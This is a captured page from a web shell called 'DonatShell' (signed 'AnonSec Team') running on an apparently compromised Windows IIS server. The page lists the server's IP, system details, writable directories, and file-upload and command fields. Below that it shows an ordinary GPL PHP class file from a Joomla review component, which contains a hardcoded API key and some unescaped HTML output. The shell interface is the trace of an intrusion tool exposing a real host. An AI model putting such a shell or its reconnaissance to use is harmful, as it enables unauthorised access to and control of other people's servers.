DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/news/administrator/components/com_simple_review/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/news/administrator/components/com_simple_review/classes/SRBridgeControlsBase.php
<?php
/**
 *  $Id: SRBridgeControlsBase.php 320 2010-11-17 08:44:15Z rowan $
 *
 * 	Copyright (C) 2005-2009  Rowan Youngson
 * 
 *	This file is part of Simple Review.
 *
 *	Simple Review is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.

 *  Simple Review is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.

 *  You should have received a copy of the GNU General Public License
 *  along with Simple Review.  If not, see <http://www.gnu.org/licenses/>.
*/
defined( '_JEXEC' ) or die('Direct Access to this location is not allowed.');
class SRHtmlControlsBase
{	
	function CheckBox($name, $id, $value, $checked=false)
	{
		if($checked)
		{
			$checked = 	"checked";
		}
		else
		{
			$checked = "";
		}
		return "<input type='checkbox' name='params[$name]' id='$id' value='$value' $checked />";
	}

	function DropDownList($name, $items, $selected, $displayStrings=null)
	{
		trigger_error('This class function has not been implemented!',E_USER_ERROR);
	}
	
	function EditorGetContents($editorArea, $hiddenField)
	{
		trigger_error('This class function has not been implemented!',E_USER_ERROR);
	}
	
	function EditorInsertArea($name, $content, $hiddenField, $width, $height, $col, $row)	
	{
		trigger_error('This class function has not been implemented!',E_USER_ERROR);
	}
	
	function IDBox($rowNum, $recId, $checkedOut=false, $name='cid' )
	{		
		trigger_error('This class function has not been implemented!',E_USER_ERROR);
	}
	
	function ImageSearch()
	{
		$addonManager =& Addon_Manager::Get();
		$key = $addonManager->GetSetting('GoogleSearchAPIKey', _SR_ADDON_TYPE_MODULE, 'Configuration_Module');
		if($key)
		{
			$key = '?key=ABQIAAAAKsoyc2ovOrFQsekJiCxTpRThtKp5d-mCVxNDYz4Ye0ImaUdv2hRerDNbKy4yrckGAh-GWKq3AQtslA';
		}
		$bridge =& SRBridgeManager::Get();
		$bridge->IncludeJSLink("http://www.google.com/jsapi$key");
		$bridge->AddCustomTag('<script type="text/javascript">SRCore.SearchImage.Init();</script>');
		ob_start();
		?>
	
		<div id="imageSearchContainer">
			Search Images - <small>powered by <img class="gsc-branding-img" style="vertical-align:middle" src="http://www.google.com/uds/css/small-logo.png" /></small>
			<div id="imgSearchControl" class="search-control">Loading...</div>
			
			<!--Remove all floating-->
			
			<div class="clear"></div>
			
			<!--Image will be shown here-->
			<div id='imageContainer'></div>
		</div>
		<?php
        $content = ob_get_contents(); 
        ob_end_clean();		
		
		return $content;			
	}	
	
	function Option($value, $text='', $value_name='value', $text_name='text', $disable=false)
	{
		trigger_error('This class function has not been implemented!',E_USER_ERROR);
	}	
	
	function SelectList( &$arr, $tag_name, $tag_attribs, $key, $text, $selected=NULL, $idtag=false, $flag=false )
	{
		trigger_error('This class function has not been implemented!',E_USER_ERROR);
	}	
	
	//'params[userreview][]',string[], 'MULTIPLE', string[]
	function SelectListBasic($listname, $items,  $tag_attribs='MULTIPLE', $selected)
	{
		$html = "<select name='params[$listname][]' class='inputbox' $tag_attribs>";
		
		if(count($items) > 0)
		{		  				
	        foreach ($items as $item)
			{
	          $html .= "<option value='$item'";
	          if (in_array ($item, $selected)) 
	          {
			  	$html.= "selected";
			  }
	          $html.= ">$item</option>";
	        }
		}
        $html.="</select>";
        
        return $html;
	}	
	
	function Text( $name, $value, $control_name, $size='25' ) {
		return '<input type="text" name="'. $control_name .'['. $name .']" value="'. $value .'" class="text_area" size="'. $size .'"/>';
	}
	
	function TextArea( $name, $value, $control_name, $rows='20', $cols='70' ) {
 		// convert <br /> tags so they are not visible when editing
 		$value 	= str_replace( '<br />', "\n", $value );

 		return '<textarea name="params['. $name .']" cols="'. $cols .'" rows="'. $rows .'" class="text_area">'. $value .'</textarea>';
	}	
	
	function YesNoRadio($tag_name, $tag_attribs, $selected, $yes="Yes", $no="No")
	{
		trigger_error('This class function has not been implemented!',E_USER_ERROR);
	}		
}

class SRControlsBase
{
	/*
	* Creates an admin listing of objects (reviews, categories etc)
	* @param formName 		: The name of the form
	* @param formAction		: The form action
	* @param columnNames	: An array of names/titles of the columns
	* @param propertyNames	: An array of the properties on the objects
	* @param rows			: An array of objects to print
	* @param task			: The forms default task
	* @param module			: The module object which corresponds to the objects
	
	* Note columnNames[0] and propertyNames[0] must refer to the objects id
	* Note to display a link the propertyName[N] should be an array ...
	
	* Example:
  	$formName						= "adminForm";	
  	$formAction						= "index.php";
		
	$columnNames					= Array();
	
	$columnNames[]					= "Review ID";
	$columnNames[]					= "Title 1";
	$columnNames[]					= "Title 2";
	$columnNames[]					= "Title 3";		
	$columnNames[]					= "Published";
	$columnNames[]					= "Category";
	$columnNames[]					= "Score";
	$columnNames[]					= "Created By";
	
	$propertyNames					= Array();
	
	$propertyNames[]				= "reviewID";
	$propertyNames[]				= Array('title1');
	$propertyNames[]				= Array('title2');
	$propertyNames[]				= Array('title3');
	$propertyNames[]				= 'published';
	$propertyNames[]				= 'categoryName';
	$propertyNames[]				= 'score';
	$propertyNames[]				= 'createdBy';	
	*/
	function ItemListing($formName, $formAction, &$columnNames, &$propertyNames, &$rows, $task, $module, $pageNav=null)	    	
	{
		$option = $this->_AddonManager->Bridge->Option;
		$bridge =& SRBridgeManager::Get();
		?>
				  
		<form action="<?php echo $formAction;?>" method="post" name="<?php echo $formName;?>" id="<?php echo $formName;?>">
		<table class="adminheading">
		<tr>
			<th><?php echo $module->friendlyName;?></th>
		</tr>
		</table>

		<table class="adminlist">
		
		<!--header-->
		<tr>
			<th width="5">
			#
			</th>

			<th align="left">
			<input type="checkbox" name="toggle" value="" onClick="checkAll('<?php echo count($rows);?>');" />
			</th>
			
			<?php		
			for ($i=0, $n=count( $columnNames ); $i < $n; $i++)			
			{
					echo '<th align="left">';
					echo $columnNames[$i];
					echo '</th>';
			}				
			?>
		</tr>
		
		<!--contents-->
		<?php
		$k = 0;
		for ($i=0, $n=count( $rows ); $i < $n; $i++) 
		{
			$row = &$rows[$i];	
			echo "<tr>";
			
			//#
			$count = $i+1;
			echo "<td>$count</td>";	
			
			$id = $propertyNames[0];
			
			echo "<td>".SRHtmlControls::IDBox( $i, $row->{$id}, false, $id )."</td>";	
				
			for ($k=0, $m=count( $propertyNames ); $k < $m; $k++)			
			{
					echo '<td>';
					$column = $propertyNames[$k];
					$islink = false;
					if(is_array($column))
					{
					  	$column = $column[0];
					  	$islink = true;
					}
					if($column == 'published')
					{
						$publishTask 	= $row->published ? 'unpublish' : 'publish';
						$alt 	= $row->published ? 'Published' : 'Unpublished';
						$buttonClass = 'icon'.$bridge->SystemToBridge;
						$publishedClass = ($row->published ? 'published' : 'unpublished').$bridge->SystemToBridge;
						 ?>
						<button onclick="return listItemTask('cb<?php echo $i;?>','<?php echo $publishTask;?>')" 
								class="<?php echo $buttonClass.' '.$publishedClass;?>"
								title="<?php echo $alt;?>">						
						</button>
					<?php						  
					}
					else
					{
						$stripedCol = Simple_Review_Common::RemoveSlashes($row->{$column});
					  	if($islink)
					  	{						    
						    $link =  $module->GetURL("edit", "$id=".$row->{$id});
						    echo "<a href='$link'>$stripedCol</a>";
						}
						else
						{
							echo $stripedCol;
						}
					}
					echo '</td>';					
			}			
			echo "</tr>";		  
		}
		?> 
		</table> 
		<?php if($pageNav!=null) 
			{
				echo $pageNav->GetPagesLinks();
				echo $pageNav->GetLimitBox();
				echo $pageNav->GetOverview();
			} 
		?> 
		<input type="hidden" name="option" value="<?php echo $option;?>" />
		<input type="hidden" name="task" value="<?php echo $task;?>" />
		<input type="hidden" name="boxchecked" value="0" />
		<input type="hidden" name="hidemainmenu" value="0">
		<input type="hidden" name="module" value="<?php echo $module->addonName;?>" />
		<input type="hidden" name="limitstart" value="0" />
		</form>	
			
		<?php
		}	

		//TODO: rewrite this
		function ItemListingTemp($formName, $formAction, &$columnNames, &$propertyNames, &$rows, $task, $module, $pageNav=null)	    	
		{
		$option = $this->_AddonManager->Bridge->Option;
		$bridge =& SRBridgeManager::Get();
		?>
				  
		
		<table class="adminheading">
		<tr>
			<th><?php echo $module->friendlyName;?></th>
		</tr>
		</table>

		<table class="adminlist">
		
		<!--header-->
		<tr>
			<th width="5">
			#
			</th>

			<th align="left">
			<input type="checkbox" name="toggle" value="" onClick="checkAll('<?php echo count($rows);?>');" />
			</th>
			
			<?php		
			for ($i=0, $n=count( $columnNames ); $i < $n; $i++)			
			{
					echo '<th align="left">';
					echo $columnNames[$i];
					echo '</th>';
			}				
			?>
		</tr>
		
		<!--contents-->
		<?php
		$k = 0;
		for ($i=0, $n=count( $rows ); $i < $n; $i++) 
		{
			$row = &$rows[$i];	
			echo "<tr>";
			
			//#
			$count = $i+1;
			echo "<td>$count</td>";	
			
			$id = $propertyNames[0];
			
			echo "<td>".SRHtmlControls::IDBox( $i, $row->{$id}, false, $id )."</td>";	
				
			for ($k=0, $m=count( $propertyNames ); $k < $m; $k++)			
			{
					echo '<td>';
					$column = $propertyNames[$k];
					$islink = false;
					if(is_array($column))
					{
					  	$column = $column[0];
					  	$islink = true;
					}
					if($column == 'published')
					{
						$publishTask 	= $row->published ? 'unpublish' : 'publish';
						$alt 	= $row->published ? 'Published' : 'Unpublished';
						$buttonClass = 'icon'.$bridge->SystemToBridge;
						$publishedClass = ($row->published ? 'published' : 'unpublished').$bridge->SystemToBridge;
						 ?>
						<button onclick="return listItemTask('cb<?php echo $i;?>','<?php echo $publishTask;?>')" 
								class="<?php echo $buttonClass.' '.$publishedClass;?>"
								title="<?php echo $alt;?>">						
						</button>
					<?php						  
					}
					else
					{
						$stripedCol = Simple_Review_Common::RemoveSlashes($row->{$column});
					  	if($islink)
					  	{						    
						    $link =  $module->GetURL("edit", "$id=".$row->{$id});
						    echo "<a href='$link'>$stripedCol</a>";
						}
						else
						{
							echo $stripedCol;
						}
					}
					echo '</td>';					
			}			
			echo "</tr>";		  
		}
		?> 
		</table> 
		<?php if($pageNav!=null) 
			{
				echo $pageNav->GetPagesLinks();
				echo $pageNav->GetLimitBox();
				echo $pageNav->GetOverview();
			} 
		?> 
		<input type="hidden" name="option" value="<?php echo $option;?>" />
		<input type="hidden" name="task" value="<?php echo $task;?>" />
		<input type="hidden" name="boxchecked" value="0" />
		<input type="hidden" name="hidemainmenu" value="0">
		<input type="hidden" name="module" value="<?php echo $module->addonName;?>" />
		<input type="hidden" name="limitstart" value="0" />

		<?php
		}		
}

class SRPagerBase
{
	var $limit;
	var $limitStart;
	var $total;
	var $pageNav;

	function SRPagerBase($total, $defaultLimit=30, $forceIgnoreSeo = false)
	{
	    if(strtolower(get_class($this))=='srpagerbase' || !is_subclass_of ($this,'SRPagerBase'))
		{
	        trigger_error('This class is abstract. It cannot be instantiated!',E_USER_ERROR);
	    }		
	}
	function AddParameter($name, $value){}
	function GetPagesLinks($link=null){}
	function GetLimitBox($link=null){}
	function GetOverview(){}
	function Reset($total){}
}

class SRBridgeMenuBarBase
{

	function SRBridgeMenuBarBase()
	{
	    if(strtolower(get_class($this))=='srbridgemenubarbase' || !is_subclass_of ($this,'SRBridgeMenuBarBase'))
		{
	        trigger_error('This class is abstract. It cannot be instantiated!',E_USER_ERROR);
	    }		
	}
	        
    function Config(){}	     
	function ModuleNew(){}	
	function ModuleEdit(){}	
    function ModuleList(){}	
}

class SRTabbedContainerBase
{
	var $_Tabs = null;
	function SRTabbedContainerBase($useCookies=false)
	{
	    if(strtolower(get_class($this))=='srtabbedcontainerbase' || !is_subclass_of ($this,'SRTabbedContainerBase'))
		{
	        trigger_error('This class is abstract. It cannot be instantiated!',E_USER_ERROR);
	    }		
	}
	
	function StartPane($name)
	{
		return $this->_Tabs->startPane($name);	
	}	
	
	function EndPane()
	{
		return $this->_Tabs->endPane();	
	}	
	
	function StartTab($title,$id){}	
	function EndTab(){}	
}
?>

Anon7 - 2022
AnonSec Team